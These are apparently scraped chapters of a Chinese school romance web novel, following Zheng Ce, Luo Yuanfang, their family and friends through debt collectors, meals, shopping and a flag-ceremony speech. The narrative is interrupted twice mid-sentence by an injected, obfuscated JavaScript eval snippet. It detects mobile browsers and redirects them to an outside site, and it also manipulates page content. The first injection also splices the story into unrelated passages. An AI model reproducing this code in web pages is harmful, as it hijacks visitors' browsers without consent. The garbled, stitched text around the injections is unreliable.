操场和校外只有黑色栏杆隔开,从缝隙里看进去,主席台上大灯照着绿色草皮和红色塑胶跑道,亮如白昼。 在夏季,体训生们会在晚自习出来训练,夏夜晚风温热潮湿,吹在汗湿的T恤上,却会带来一丝清凉。 但此时操场上北风阵阵,空旷又安静。 除了…… 弯道处,放着叠好的软垫,前面两根立柱上架着一根横杆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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留下机器散发燥热,齿轮转动的响。 郑策站在阴影里,黑色工装裤配短款黑色棉袄。 她个子高,但是这样隐藏在夜色里,分不清男女。 郑策一手已经勾住卷帘门的锁扣,站着没动。 勾起一边嘴角,轻笑了声,“你奶奶。” 说话的同时,她猛地一拉,哐啷哐啷一阵巨响,卷帘门触地的瞬间,郑策右手扣上一把锁。 那些人不敢闹大了,只轻微又急切地拍打铁皮。 郑策转身拨通了派出所的电话。 漆黑小巷被警车灯光闪得晃眼,她才从另一个口子熟练地溜了出去。 像个事了拂衣去,不留功与名的侠客。 爽了。 折腾这一番,再回到清北楼楼下的时候,借着楼道昏黄顶灯,郑策看见了楼梯间横七竖八的人。 她忽然有些庆幸没有把骆远方喊回来。 几个疲惫不堪的人裹着棉花外逸的绿色军大衣,毫不讲究在楼梯上坐着靠着。看见她时,耸了耸鼻子。 “你们还敢来?”郑策听见自己声音又冷又低。 冷风从背后灌进楼梯间,带起颊边两缕短发。 “骆远方是不是跑了?” 一个穿着破洞裤,露出来的膝盖上布满棕褐色血痂的人站了起来,问。 像是一路奔波了很久,忽然开口。 他的嗓子似乎含了一嘴的沙子。 看来他们是发现这阵子都没看见骆远方,过来蹲点的。 “盯着一个高中生要钱,你们还有脸么?” 郑策压低帽沿,沉着脸无视他直接过去。 靠近的时候,那人感到一股寒气裹挟着而来。 他挣扎着说:“别以为我们不知道他在赚钱!” 听到这话,郑策有些心寒。 这些人他妈的也配骆远方愧疚。 她低头把门锁打开的同时说: “他会回来的,但你们要是招惹屋子里的人,我同样不会放过你们。” 语气沉沉,煞有介事,外面的人没再开口。 家里,每个人都在自己卧室待着,客厅里空无一人,安静得恐怖。 想必他们还不知道屋外的情况。 郑策犹豫了下,拉开立柜抽屉。 取出两个纸杯的时候发现了里面一大叠催债的单子。 她沉默着站了会儿,直到开水壶开始尖叫,才走过去倒入开水,又往纸杯里加了些盐。 递给门外的人时,在他惊疑的眼神下,郑策不耐烦塞给他。 “下毒了。要么冻死,要么毒死。纸杯不够,要喝匀着喝。” 再次关上门后,几个人沉默着站了会儿,摆摆手走了。 郑策回到客厅,瘫倒在沙发上,很快拿出手机,毫不犹豫点开那个农民的聊天界面。 【门口又蹲了人,你去哪儿了?】 删掉。 【一个成年人还搞什么离家出走这套。】 删掉。 【对不起,】 删掉。 我有毛病啊,我道歉。 那个女生是谁?! 郑策在心底怒吼。 她纠结在文字编辑中不可自拔,却没发现顶部那个农民的名字悄悄改成了对方正在输入…… 郑策眼睛一闭,懒得纠结,果断点了发送。 然后像是手机上粘了含笑半步癫似的,把手机往沙发上一甩。 【什么时候回来,奶奶想你了。】 几乎是同时,手机有消息提示。 郑策又立马爬过去捡回来…… 这个年纪莫名其妙的倔强让她觉得,发出消息这一步,就已经输了。 虽然不知道输赢有什么意义。 骆远方的回复只有很简单两个字: 【放屁。】 郑策咬着后槽牙很快回复: 【我还住你家呢,你这样我很为难啊朋友。】 明明是一个班的同学,她却说不出骆远方发生了什么事。 寄住在别人家,最后主人离家出走了。 怎么看都像是她鸠占鹊巢,把人撵了一样。 对面没有很快回复,但对方正在输入倒是一直没停。 过了会儿,骆远方发来: 【我在烧烤摊,想吃什么,我带回来。】 附了一张串成串的菜品照片。 郑策呆愣了瞬。 可能这几天吃饭都心不在焉没吃饱。 可能刚才出门溜达一圈消化了。 可能因为知道没消息好几天的人总算要回来,心情倏地放松下来。 看着这张丝毫没考虑构图和明暗,座机般画质的照片。 郑策咽了咽喉咙。 生的,这是生的! 冷静啊郑策! 放屁优雅的女子冷静报菜名:【烤苕皮,面筋,羊肉串,五花肉,土豆片,鱿鱼,豆腐,里脊……】 一直没收到消息,骆远方以为她是在犹豫要不要吃,或者选择尽量健康的。 毕竟班里的女生张口闭口都是减肥什么的。 没想到别人在码字报菜名。 骆远方心里似乎也松了口气,笑着去对照着取菜。 刚拿了一根羊肉串,郑策的电话就打过来了。 急不可耐成这样? 25. 中午了你们才起床 “喂?” 骆远方接通电话,对这个平日里能打字绝不通话的人的反常行为有些想笑。 他懒懒问道: “还有什么想吃的么?” “叔叔!” 江蔚云的声音非常清脆地在那边响起,“我想吃冰淇淋!” “哎哟。” 骆远方把手机拿远,“你算盘珠子真是崩我一脸。” “我要小学生,奶奶要四个圈,谢谢叔叔!”江蔚云充耳不闻,坚持把菜点完。 “行,那你小姨……” 骆远方还没说完,对面已经挂断,传来一阵忙音。 他看着手机有些迟钝,要不是这姑娘未成年,高低得挨一顿。 这顿饭是骆远方给周全他们赔罪用的,因为不高兴骆远方没地儿去也不找他们,下午闹到了五元店去。 现在做东的人打包了东西要回去,晾着几个人面面相觑,周全差点把后槽牙咬碎: “这回不跟你计较,先回去,下次肯定不放过你。” 骆远方举着酒杯朝他们敬了敬,干了。 “钱我已经结了五百,多退少补,你们待会儿自己算好。” “滚蛋。” 那边郑策挂了电话,总觉得气氛不太对,骆淇窝在沙发里和江蔚云看龙猫,点了根雪糕后,一言不发。 她小心坐过去,“奶奶,你是不是不高兴他回来?” “没什么高不高兴的。” 骆淇盯着电视说,“这次还能主动回来,比起以前是长大了不少。” “他,其实挺懂事的。”郑策帮着说话。 “我知道。” 骆淇笑着看她,“记得中学的时候老师教显微镜原理,说只有在适合的距离,才能看得清样品吗?” 她盘着的腿麻了,交替了下,接着道,“远了近了都不看不清,所以我从来没过问他太多事。这孩子心里明镜似的,真要骗老太太,容易得很。” 不难看出骆淇有些失落,像是知道一直庇护的小鹰翅膀变硬了,不再需要自己了。 是几乎所有家长都会经历的心路历程。 但骆淇养大了儿女后,还是没能习惯。 郑策想起躁郁症的事。 骆远方情绪控制得太好,虽然平日里事不关己高高挂起的模样,一旦要认真隐瞒什么,还真不容易看出来。 “那,你还开着烟花店,是为了还债么?” 想到刚才在抽屉里看见的账单,郑策又问。 骆淇有些惊讶地看着她,“刚来的时候一问一个不吱声,现在总算关心关心老太太了啊。” 郑策尴尬地笑着没说话,骆淇感慨道:“他老子欠的钱,还不完的,也轮不到我来还。” “人越老啊,越害怕死。就是想找个事做罢了。烟花是快乐又宏大的,就像我爱看这些动画片,里面的主人公总是无所不能的一样。” 她把郑策揽到自己怀里,拍了拍她的背。 “你现在不用考虑这么多东西,住在我手底下,就负责活在当下就行啦!” 郑策笑着也把骆淇抱紧,在她肩上蹭了蹭。 “嗯。” 但好脾气的限定款骆淇只在她面前展现,骆远方刚把门推开,头顶就是一声暴喝。 “败家玩意儿,家里就是卖烤串的,还专门去给别人送生意。” 骆淇斜着眼看过去。 “我才卖了几根儿啊?你全都给赔了。” “三根。” 骆乘光闻着味儿从卧室走出来,“全哥他们两根,策姐一根。” “好了,要吃去拿碗,我还买了小龙虾!”骆远方举起手里的东西,笑着进屋。 “小龙虾!”江蔚云一听小龙虾就开始欢呼。 “我去拿。”郑策说着里取碗。 厨房的灯泡这两天坏了一直没来得及修。 可能是它嫉妒客厅里换了新灯泡,不高兴,索性自杀重来。 重活这一世,它要两千瓦亮瞎这些人的狗眼! 郑策脑袋里因为一直琢磨着骆淇刚才的话,加上厨房光线暗,一个没留神没拿稳,碎了一个。 她连忙把其余的碗都小心翼翼放回去,再想弯下腰把大片的碎片捡起来时,骆远方在门口喊:“别动!” “哎呀,划伤没有?”骆淇也急忙跑过来。 “对不起,我,没拿稳……”郑策还是捡起大片的碎片丢进旁边的垃圾桶。 “用扫帚,你过来,骆远方去扫。” 骆淇皱着眉去拉她,“别用手。” “我想偷懒一次性多拿点,没想到没拿稳。” 郑策还想解释。 骆淇嗯嗯了两声,对骆远方指挥,“柜子下面也扫扫,说不定有碎渣。” 她拉着郑策往外走,“快,趁热吃,我的冰淇淋都要化了。” 骆远方刚进厨房就被骆乘光撵了出来。 江蔚云机灵地跟在骆乘光屁股后面,拿上郑策的手机照亮。 郑策愧疚地皱着眉,没再说话。 “这就是你把他喊回来的下场。”骆淇似笑非笑地看着她。 “不是我喊的……” 骆淇直接忽视她愁眉苦脸的样子,拿了串肉出来撸,嘴里含混着说: “正好可以重新换套碗,你去买五个一样的,刚好整整齐齐了现在。” “好!” 对于她,骆淇可能不会有责怪,但郑策也没等来想象中的唉声叹气和抱怨。 这件事就这样被轻飘飘地揭过去。 从小形成的思维惯性让郑策有些不能接受。 毕竟她当时不小心撕坏了爸爸的合同,手被戒尺打肿了五天才消下去。 所以郑策很快应下这个补偿方法。 第二天是周六,郑策睡到晌午,准备去花园批发市场采购一番,结果除了早早出门的骆淇没一个人起床。 她和江蔚云总算安定下来,还得买些生活用品。 刚洗漱完,欧阳长乐的电话就打了进来。 电话里,女生声音清亮。 “喂,言情天后,下楼出去玩。” “你大清早喝假酒了?”郑策把厕所门关上。 就听见楼下一个女生大喊:“郑策!出来玩啊!” 脚下一顿。 手机听筒里和窗外的声音重叠,像陈旧的胶片机,声音卡顿。 眼前,木质橱窗被晨光镀上模糊一层光晕。 恍惚间,一下子把郑策带回了小学时候。 她举着手机冲到窗台边。 就看见楼下站着她许久没见的朋友。 长高了,变漂亮了,笑着朝她一个劲儿招手。 当骆远方揉着睡眼,一眼迷离,衣衫不整地在郑策旁边,把脑袋探出窗户时。 欧阳的笑凝结在脸上,郑策听不清她说了什么,但郑策凭借口型还是能轻易辨别: 卧。 槽。 骆远方离得很近,呼吸扑到郑策耳边,她忽然就紧张了。 那天晚上的触感涌上回忆。 唯一还记得的就是他的唇很软,好像还挺好亲的…… 什么乱七八糟的。 郑策反射性反手压着骆远方胸口就往后推。 骆远方没防备被推了一个踉跄,也是反射性一把抓住她的手震惊道:“你干嘛?” 他眼神往楼下看了看,“欧阳长乐吧?” “嗯。”郑策说,“我没说住你家,情急之下……” 骆远方打了个哈欠伸着懒腰走开,“我去买碗吧,你们去玩。还有什么要买的直接发我……” “不用不用。”郑策急忙打断他。 “……然后转钱给我。” 骆远方看着她把没说完的说完,又问,“江蔚云的衣服是你搭配的吧?” “有什么问题么?”郑策问。 “你自己打扮得人模人样,给人家穿成花花绿绿的,良心呢?” 骆远方若有所思地点点头,“没事,我去买,能好看点。” “小孩儿不就得穿得亮点嘛。”郑策有些心虚道。 江蔚云喜欢各种亮丽的颜色,看见喜欢的衣服就要买,最后一衣柜的彩虹糖,却没两件能配上的。 郑策觉得左右都是她喜欢的,一着急随便拿两件就给她配上,倒是也没考虑这么多。 骆远方说完,她看了眼被吵醒走出来的江蔚云,粉红色睡衣,鲜绿色睡裤。 忽然有些心虚。 好像,是有点夸张了哈…… 但郑策还是小声蛐蛐骆远方的朋友圈:“百搭丝巾,草原打卡拍照,你审美又有多好?” 转念一想,骆远方平日里的打扮虽然深色系为主,但随便扔人堆里,还挺亮眼的。 靠。 欧阳在下面等郑策的时候也挺感慨。 她昨天连夜回来本想和爸妈商量一下休学的事,没想到最后吵了一架。 如果不是想第二天来看看以前的朋友,她昨晚又坐上回校的车了。 欧阳低头给郑策发了条信息:【都中午了你们才起床[狗头jpg.]】 放屁女子:【你胡说什么呢!我马上下来!】 欧阳宗师:【你胡想什么,叫骆远方,是改成骆远方了吧?一起下来吃饭,我下午的车要走。】 放屁女子:【这么快?我俩不单独叙叙旧吗?】 【[可怜小狗jpg.]】 欧阳宗师:【我朋友都住人家里了,我得好好看看啊,叙旧的机会多的是。】 郑策太敏感,欧阳其实害怕一个没留神被逮住什么把柄。旁边的人多些,社恐郑策会不知所措些,她也方便隐藏。 欧阳长乐知道郑策能走到现在已经不容易,不想再把自己无关紧要的事压在她身上。 郑策看着消息,犹豫地走到厕所门口。 骆远方一抬头就在镜子里对上郑策的眼睛,他吓了一跳:“变态啊你,看我上厕所!” “屁大爷看你上厕所,谁上厕所不关门谁变态?” 郑策嫌弃道,“欧阳叫你一起出去吃饭,去么?” 随即她根本不留空给出台阶,“不想去我就给她说……” 谁料对方爽快异常。 “去!” 骆远方吐掉嘴里的泡沫,“上回某人说要请我吃饭,一直都没请呢。但我中午约了安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008858|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城北,得带上他。” 于是,当安城北一脸受宠若惊坐在他们对面时,郑策还没反应过来事情怎么就发展成了这个鬼样子。 安城北紧张地在身上擦了擦手上的汗,对欧阳长乐痴汉般地伸出手,“状元呐,能握个手吗?” 欧阳大方地伸手,“你好,欧阳长乐。” “高考前我都不洗手了!”安城北颤声道。 他从一进门就是不可置信的状态,现在盯着自己的手看了半天,又看向郑策。 “果然人以群分,我今天终于借着学霸的光踏进了清北的圈子了!” “吃饭前不洗手,我就把你丢出去。” 骆远方一脸嫌弃,破坏气氛。 “你连去清北门口卖烤鹅腿的卫生水平都没有。” 老板上菜的时候听见这话,惊讶地瞅了眼他们。 “状元学霸?都是人中龙凤,我这小店今天金碧辉煌啊。” “没事的老板,他们是龙凤,我是人中。” 安城北乐呵呵道,“辉煌到一半给你降降温。” “人中也很厉害,今天给你们打八折!” 老板笑着大手一挥,看到郑策的脚踝。 “哎哟,你们这些年轻人火气燥,天还冷呢,秋裤就没穿了,还露着脚踝,老了有你们难受的。” “我把门给关上。”骆远方看了眼郑策脚上的单鞋起身走过去。 “远方同志,干什么呢!” 安城北厉声阻止他,“年轻人,经不住这点考验么?” “那你把秋裤脱了。”骆远方看着他。 “我冷。”安城北塌腰比划了个请的姿势。 因为郑策和欧阳都是很久没回来过的,他们没去大的餐馆,而是直奔马家巷买了小吃,直接坐在铺盖面的店里。 而郑策因为太久违了,还打包了一碗麻辣烫。 苍蝇馆子的麻辣烫,没有肉,但十五块钱能有一大碗。 安城北翻了翻里面的配菜嫌弃道:“宽粉,土豆粉,油条,油豆腐,全是淀粉。郑策你这碗麻辣烫是想撑死谁吗?” 他悻悻地把筷子收回去,等自己的面。 “我饿了,你管我。” 在座的,就郑策和骆远方两位一觉睡到中午,现在就着一碗麻辣烫开始狼吞虎咽。 “不过郑策你真是大方,毛爷爷随便拿。” 安城北感慨了句,“我平时吃穿都在家里,一周一结的零用钱十块,买辣条和泡鸡爪用,从来没囤到三位数过。” “小朋友,成年人的世界是这样的。” 郑策点点头。“习惯就好。” 安城北不服气地瞪她,然后被旁边伸过来的一只手给挡住视线,他噘嘴:“干什么,不让看啊?” “昂,不让你看。” 骆远方脱口而出的时候,觉得自己智商被安城北感染了。 欧阳长乐笑着又向老板要了三瓶啤酒和一瓶橙汁。 “就你一个未成年,担待担待。” 她把橙汁推给安城北。 “姐……” 安城北举着橙汁有些无语。 “干了,好久不见!”欧阳长乐举杯跟他碰了下,爽快道。 随即两个埋首麻辣烫的人也忙着举起啤酒碰了下。 “以后常见!”骆远方说。 “嗯嗯啊啊,对!” 郑策嘴里包满了东西,被忽然而来的举杯弄得措手不及,气氛倒是赶上了。 “你学江蔚云呢?”骆远方笑她。 “对了,出门前江蔚云嘱咐我给她小姨妈拍些照片,说很久没见你这么高兴了。” “拍吧。”郑策比了个耶,却看骆远方转身从旁边拿出一个黑色的小包,里面是一台手持DV机。 “炸碉堡?”郑策看见这个熟悉的黑色小包,有些意外地问。 骆远方笑着点点头,熟练地取出DV开始调参数。 安城北却意外地楞在原地,看着骆远方摆弄。 毕竟上回在自家店里,某人才颓丧地说过本事不行,再也不拍了。 “你……们挺上相的,吃吧,别看我,我看看效果。” 骆远方把带子套在手上,镜头对准郑策。 画面右上角,青花瓷纹样的大碗出现。 老板用托盘端上来四碗热气腾腾的面,大嗓门笑着报菜名:“当心喽,一碗豌杂面,一碗红烧牛肉,一碗酸菜猪肉,一碗卤肉,请慢用!” 镜头从汤汁鲜嫩的面汤顺着蒸腾的热气向上。 郑策笑着把面给分了,三个脑袋凑在一起研究了半天牛肉猪肉和卤肉的区别。 最终随便拿了一碗。 镜头上移。 店铺玻璃蒙上一层白蒙蒙的雾气,窗外有家糖炒板栗在吆喝。 店里的电视外放着不知名的节目,醇厚的男声似乎穿越千年解说着: “黄金时代,不在我们背后,乃在我们面前;不在过去,乃在将来……” 视角再一转,三瓶啤酒和一瓶橙汁再次相撞,溅出层层水珠。 满溢的泡沫像是少年无尽的梦想,正在冬日里破土,生根。 不断膨胀。 26. 你爸回来了 安城北爷爷奶奶是当年三线援建的时候,长春搬来的。 激动的时候,一口东北大碴子味儿了就秃噜了出来。 他磕了药似的地在两位“看似好学生”面前宣扬自己斗殴时英勇无比的身姿。 “当时我就急眼了……个挨削的上来就跟我撕巴……这种人吵吵不过你就急眼,干脆直接躺那儿,哼,他妈的……” 骆远方听着激动得有些语无伦次的描述,抽空看了眼他手里的杯子。 是橙汁没错啊…… 但人少的时候,有这么个话痨在场能省去许多麻烦。 在这个现眼包旁若无人大胆开麦前,一切都还可以忍受。 直到…… 安城北编造完自己一段刻骨铭心的爱情后,忘情地唱了出来: “爱情不是你想买,想买就能买……” 骆远方被吵得脑仁疼,合上DV,起身去付钱。 “哎。”郑策拉住他,“说好了我请客的。” “哪儿算这么清。”骆远方五官皱在一起看了眼安城北。 “当我花钱买个清净。” 郑策纠结了下,放开他。 行吧,反正日子还长。 吃完饭,把欧阳送去客运站,时间还剩一点。 安城北突然对学神的离去感到不舍,竟然开始走心: “我容易嘛我,不学习,考试考不过。学嘛,又学不会,考试还是考不过,鬼打墙一样。学神呐,多下几回基层帮扶帮扶我们吧!” “你可以的,郑策物理超级厉害,有她在呢。” 欧阳长乐也是怕了他,想也没想把自己朋友就给卖了。 最后还是牺牲骆远方把安城北给拉开,留给两姐妹叙旧的时间。 不然都怕他情到深处翻过闸机,跟随欧阳北上去。 “骆远方看起来挺可靠,我就放心了。”欧阳抱着郑策说。 “你今天一直在胡言乱语什么,我可警告你啊。” 郑策也没精打采地把下巴放在她肩膀上。 不得不承认,骆远方虽然冷脸的时候居多,但骆家的收留像是海里的一块岩石。 而她是涉海的鸥,终于找到歇脚的地方。 虽然石头不高,随时会被海浪淹没。 但岩石确实在这儿。 两人旁边走过一膀大腰圆的男人,露出的脖子上留着一个龙头的刺青,欧阳看见后,浑身一颤。 “哭了?这么舍不得我?”郑策笑着拍她的背。 “哎我真不想回去,大学的人一个比一个心眼多,我真是受够了。” 欧阳忽然哀嚎道。 “要是遇见熟人没注意打招呼,第二天就会被蛐蛐,烦死了这群逼。” 这还是欧阳头一回和她抱怨自己的大学生活,郑策僵了瞬。 “哎哟,像我这样单纯的小女孩儿是不多了,你且行且珍惜吧。” 郑策在她背上顺气,“柯言也说你有点闷,那些逼人不用勉强去习惯,想干什么就干什么呗。为这点小事就生气,也是个小人,不值得咱去交。” “你安慰起人来倒是一套一套的。” 欧阳松开她,又嘟着嘴不舍地抱了下。 “感觉你现在也挺不错的,之前打电话吓死我了,我以为你起码得流落街头去要饭。” “闭上鸟嘴啊。” 郑策警告她,“快去吧,清明节还回来么?” “清明就不回了,这一趟趟的麻烦。”欧阳有些抱歉地说。 “五一再说吧。” “这次这一趟你也是作的,到了打电话!” 郑策并不知道欧阳回来的真实原因,向她摆摆手。 欧阳笑了笑没说话,也向她摆手,转身进了闸机。 郑策立在原地,看了会儿欧阳逐渐缩小的背影,朝站在不远处的骆远方走过去。 车站里人来人往,但他还是一下子就能在人堆里凸显出来。 郑策看了眼四周,“安城北呢?” 安同学此时正蹲在厕所里和骆同学煲电话粥。别有一番风味。 电话里,安城北苦口婆心:“柯言说你不接她电话,她一定让我劝你,接下清明这个宣传片的任务。” 骆远方听着里面“噗”的一声,无奈地闭了闭眼。 看见郑策过来,骆远方对着手机平淡道:“可以。” 他就着郑策的话又问:“还有多久?” “啊?真的么?太好了兄弟!”安城北道,“我这儿有点便秘,你懂的兄弟,再等等。” 骆远方嗯了声,挂掉电话。 “他去哪儿了?”不会真一时激动,做出什么出格的事儿来吧。 “厕所。”骆远方说。 “……你,还真是不喜欢打字啊。”郑策一言难尽看着他。 这两人也真是一个敢打,一个敢接。 “嗯,她是有什么心事么?走的时候好像心情不太好。” 骆远方看着闸机处攒动的人头问。 “大学里的人际关系这些问题吧,总得适应。” 郑策有些惊讶他这也能捕捉到,她大而化之道。 “但比起小时候,感觉欧阳变了挺多的,不可能什么事都跟我们说了。” “你站这边来。” 车站里扛着大包小包的人很多,人挤人不小心磕碰着都是常事,骆远方退后几步,把角落的位置让给她。 他站在郑策对面说:“每个人内心的尺子不一样,关心别人的方式也不一样,你的方式是给她留出空间,她的方式就是不让你担心。” 郑策盯着他没说话,挑了挑眉。骆远方问:“怎么了?” “没,就在想你的方式是什么。” 郑策看着他斜跨的包问,“是把这些都记录下来么?” 刚才在店里,郑策就察觉到骆远方握着DV时,和平日不一样的氛围。 他是冷漠的旁观者,是专注的记录者,也是温柔的照护者。褪去了平日吊儿郎当的状态。 骆远方抬眸有些惊讶地看着她,但只一瞬又被冷漠掩盖。 说出口的话却依旧毫无波澜。 “不是。” 他几乎是急切的否定,忽略了语气中不打自招的烦躁。 “刚看了你拍的,挺好看,能感受到你想表达的东西。”郑策点点头。 “拍着玩儿,喜欢就拷给你,不然明天就删了。” 骆远方别过头去,语气里添上几分焦躁和生硬。 “什么毛病?”郑策也不惯着谁,“夸你都能踩着你尾巴了?” 火气带着昨晚骆淇有些失望的神情涌入脑海,郑策没好气地说: “跟你一言不合就离开一样,你不说,我们没法理解你的心情。我不知道你六个月经历了什么,骆奶奶也从没敢过问,生怕她的脆皮孙子又伤心了。所以,你如果要假装正常,请继续保持,别反反复复,连带周围的人都不高兴。” 骆远方沉默了会儿,埋着头,语气里甚至有些委屈: “没有踩着我尾巴。” 他皱着眉垂眸,手指扣着口胸前的黑色包带,有些丧气道:“我就是觉得拍不好,没别的意思。” “这玩意儿有什么好不好的?”郑策说着扯了下骆远方身上的带子。 骆远方惊疑着抬眸看她。 要是别人敢这么扯他,现在已经在检票口里面躺着了。 郑策却不在意地帮他把包带捋平:“审美这东西,每个人都不一样,会拍就拍了,想表达就表达了,哪那么多瞻前顾后的想法……” “好。” 话还没说完,骆远方果断打断她。 郑策皱着脸抬头去看他,这么敷衍她么。 余光里就看见一道残影从眼前闪过,灵活地钻过熙攘人群,直奔大厅门口去。 紧接着身后响起两声乖巧的汪汪,她才不可置信地转头。 脚边有一只博美,兴致冲冲跟着骆远方就发射了出去。 “不愧是当年校队四百米记录保持者。” 安城北不知何时出现在旁边,羡慕地看着骆远方消逝的门口。 郑策不动声色往旁边挪了一步。总觉得他身上还沾染着厕所里的各种分子原子。 安城北没注意,以一个过来人的身份思考:“这种时候就不应该跑,越跑狗越咬……” 然而后面的话,郑策脑子里就自动过滤了。 四百米记录? 那还挺可惜…… 郑策看着骆远方快消失在门口的背影这样想。 因为周六采购任务落空,周天骆淇主动请缨带着两人去买东西。 骆乘光留守在家里看守江蔚云,作业不做完,不让看电视。 也不知道是折磨谁。 骆淇他们没去花园市场,直奔市中心的商场,进去后骆淇就找了家鞋店对郑策招手。 “虽然天气暖和起来了,但还得冷一阵子,这个马丁靴怎么样?” “奶奶,我不用……”郑策立马反应过来,看了眼骆远方。 “嘿,看他干嘛。”骆淇不满意道,“他同意,你才买啊?” “我看你们的行李,多是云朵儿的东西。除了乱七八糟的玩意儿,你自己的鞋子衣服裤子没几件吧?” 骆淇佯怒瞪着她。 “再客气我就不高兴了。” 郑策无奈只得在她旁边坐下,店员此时见机行事,一连串拿了好几个款式,咬死了他们这只瘦羊。 骆淇选鞋子尊重郑策的选择,但每次必须能让她把两根手指插.进鞋后跟的位置,才会点头拍板。 之后又带着两人去买了两件春装,顺便抱怨骆远方以前是吃衣服的,穿出去的衣服滑两趟长板,滚成一个丐帮回来。 别提多费心了。 而骆远方完全和他自己描述的一样,就是这个家里的牛马苦力。 全程几乎没有什么话,就站在旁边当人形置物架,给他买衣服的时候顺便当个衣架。 好在衣架底子不错,没花大功夫就买好了。 东一榔头西一棒子地忙,好像也没做什么有意义的事,时间就在平凡的琐碎中消磨了干净。 这种理所当然的“浪费”时间,让郑策紧绷的神经终于慢慢松懈下来。 但她还是在周一凌晨四点的时候猛然惊醒。 说好了要帮忙写检讨的。 她蹑手蹑脚下床,开着一小扇台灯,趴在窗沿边琢磨起来。 天色灰亮,晨雾中有出早点摊的人已经起床,楼下偶尔路过一两个人都极为安静。 人们不忍打扰小镇此时的沉寂,只有多嘴的麻雀不分时段地叫上两声。 写得差不多了,她便听见了隔壁屋的闹钟,然后是骆乘光着急的询问:“哎我手机来?” 他今天有考试,走得早。 “床头柜上。”骆远方闷声道:“快滚,小点声。” “哎我耳机来?哎我准考证来?” 骆乘光在房间里踢踢踏踏翻箱倒柜,好笑的是骆远方蒙在被子里也能给他指出来。 “客厅里啊。”“不是昨晚就放书包了么!”“再吵我杀了你,都清净了。” 话放得再狠,在骆乘光又找不到身份证的时候。骆远方还是生无可恋下床亲自交接给他,语气恳切。 “走吧,求你了,走吧。” 一阵小声的喧闹后,大门开了又关,房间里又剩下宁静。 各种烟火味儿的窸窣声响,和这栋房子之前无数个日夜一样,温馨又喧闹。 而以后也会有无数个这样的清晨。 终于写完,郑策笑着打了个大大的哈欠。 谁让她当时揽下了这个活呢。 但事实证明,骆远方没要她写的东西是正确的。 安城北光是认字就差点把汗给他急出来。 再有这份检讨几乎算是郑策梦里完成的。可能中途睡过去了一阵,醒来后又写上了一段一模一样的话。 安城北念到一半差点崩溃。 “我自省前,日纷争,之举。槐……愧作难安,打架之非,有违……圣人教诲,且非君子之道……” 安城北对着话筒长叹一口气,这文笔差点没让他当着全校师生的面,在国旗下嘠过去。 他从没感觉到自己头皮能这么硬,继续硬道: “《论语》有言,礼之用,和为贵。《尚书》亦诫?满招损,谦,谦受益。” 念到一半,他绝望地看了眼旁边站着的郑策。 郑策当他不认识字,夸张地比划口型。 乐印,蔺。 安城北心一横,闭上眼睛继续:“乐相如回,避廉颇,张英让,邻三尺……” 这断句,还真是回天乏术了…… 郑策听得难受,叹了口气,抬头望天。 此时感同身受了些,武林高僧不让废柴们出去说自己是他们师傅的无奈。 好容易念完后,安城北从没这么绝望过。不是一个级别的还是莫要乱凑。 这下全校都知道他是文盲了。 相比较骆远方用“天下人都负了他”的欠揍语气念,台下鸦雀无声都在欣赏他的美貌。 安城北这稿简直把气氛带到了nextlevel,高潮迭起,全程无尿点。 刚结束柯言就带头给他鼓掌,在他旁边轻声假笑:“写得真好啊!待会儿回去默写一遍,挺多文言文考点的。” “老师我错了,这不是我写的。”安城北讨饶。 柯言皮笑肉不笑,“是嘛?那你更得好好学习一下,待会儿带来办公室,我们逐字逐句分析,这里面典故挺多的。” 轮到郑策拿着稿子走到话筒边。 里面还夹着骆远方给的阅读卡,她有些紧张,怕脑子一抽,半个字儿都看不进去。 前半部分还算正常,国旗下的老生常谈,要收心,要认真学习,只要学不死,就往死里学巴拉巴拉。 柯言听得十分满意,却本能地预感到没这么简单。 果然郑策把稿子一合,接着便语出惊人。 女孩坚定的语气顺着话筒电流传遍整个操场上空: “在这里,我必须要向九班的骆远方和安城北道歉。” 骆远方颇有兴趣地在身后看着她。 还真是小瞧郑策了,挺有魄力。 郑策大方道:“斗殴事件,我也有份,但因成绩还过得去,侥幸逃过一劫。虽然高考是我们眼前最便捷的一条路,但成绩并不是衡量一切的标准。” 说到这里,台下掌声雷动,有几个声音还喊着“说得好!” 然后被自家班主任单拎到队伍外去丢人现眼。 “成绩不行,不应该成为承担责任的借口。” 郑策转头看了眼骆远方,她接着道: “但是,上九班找事那几个人绝不容姑息,成绩不好也不是你们惹麻烦的理由。” 杨吟嘿哟一声还没上前,骆远方横跨了一步,挡在他左边,柯言在右边瞪着他。 杨吟瑟缩着,退后两步。 升旗仪式结束,安城北心如死灰对骆远方说: “我怀疑,因为周六我太崇拜状元,忽视了学霸,她在搞我。” 您脸真大。 “……”骆远方一时无言,“她其实写得挺好,就是跟你不太匹配。而且,她语文作文十五分钟写完,只扣三分那么变态,你还让她帮你,真勇。” “我靠,我没想这么多!” 安城北忽然反应过来,埋怨道,“那你都不提醒我!” “我厌蠢。” 安城北瞪他一眼,“奉劝你离她远点,下回整的就是你。” “这不是你自己舔上去,要人帮你写的么?” 骆远方说,“而且,已经离得很近了……” 他举了举手里的袋子,“柯言说逼着她看书还是能看进去,于是买了一袋巧克力,请教郑策问题的,发一块儿,发完即止。” 他本来是不想接下这个幼稚的助理工作,但柯言一句话就把他七寸给掐住了。 “人都当着全校的面给你道歉,这点忙都不帮?” 少年人的高傲不允许他说半个不字…… 事后柯言又把郑策叫到一边,通知了她这个不能反驳的消息,顺带问: “外面待过的,普通话果然不错,清明节有个宣传片拍摄的旁白工作,做不做?有外快拿。” 郑策犹豫了下,“行。” 柯言伸手,眼睛笑眯成了弯月,“欢迎加入九中广播站。” ??excuseme? 